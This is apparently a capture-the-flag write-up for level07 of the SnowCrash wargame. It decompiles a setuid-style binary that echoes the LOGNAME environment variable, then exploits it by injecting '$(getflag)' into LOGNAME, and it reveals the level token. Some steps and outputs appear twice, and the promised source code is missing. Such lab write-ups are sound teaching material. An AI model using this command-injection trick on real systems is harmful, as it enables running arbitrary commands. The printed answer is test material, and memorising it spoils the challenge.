When we execute the binary flag07 we get the following output :
level07@SnowCrash:~$./level07level07
It prints level07 which could by the name of the binary, or maybe the name of the directory or event the name of the user or something else. To know what's going on we should decompile the binary.
Lets transfer the binary to a machine where proper tools are avalable to disassemble and analyse the binary.
## Here 192.168.1.92 is my Virtual Machine session ip.## Your might be different.$> scp-P4242level07@192.168.1.92:/home/user/level07/level07.
Once we have got the binary we can simply use RetDec to decompile the binary and get a C source code :
$> retdec-decompiler.pylevel07
And the C source code of the file level07 is as follows :
Just by looking at the source code we can see that the program is printing the environment varaible LOGNAME which is level07 in the vm. So we can see this level is similar to level04 where we have a program that calls acho with a String that we can control (because we can change the environment variable value)
To get the flag for this level all we need to do is change the environment variable LOGNAME so that echo calls the getflag program:
Password for next level
So the Password to connect to the account level08 is fiumuikeil55xe9cu4dood66h
level07@SnowCrash:~$ export LOGNAME='$(getflag)'
level07@SnowCrash:~$ ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
## Set the environment variable.
level07@SnowCrash:~$ export LOGNAME='$(getflag)'
## Execute the binary so it can read our modified envirnoment variable.
level07@SnowCrash:~$ ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h